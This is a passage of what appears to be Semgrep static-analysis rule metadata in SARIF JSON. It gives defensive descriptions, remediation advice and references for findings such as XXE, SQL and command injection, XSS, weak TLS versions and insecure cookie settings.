higher."},"help":{"markdown":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n - [https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2](https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2)\n","text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version","id":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","name":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.weak-ssl-version.weak-ssl-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","id":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","name":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"help":{"markdown":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","id":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","name":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","id":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","name":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","id":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","name":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"help":{"markdown":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config)\n - [https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy](https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy)\n","text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","id":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","name":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","id":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","name":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"help":{"markdown":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw](https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false)\n - [https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean)](https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean))\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false","id":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","name":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.cookie-issecure-false.cookie-issecure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"help":{"markdown":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","id":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","name":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"help":{"markdown":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag)\n - [https://brakemanscanner.org/docs/warning_types/content_tag/](https://brakemanscanner.org/docs/warning_types/content_tag/)\n","text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: 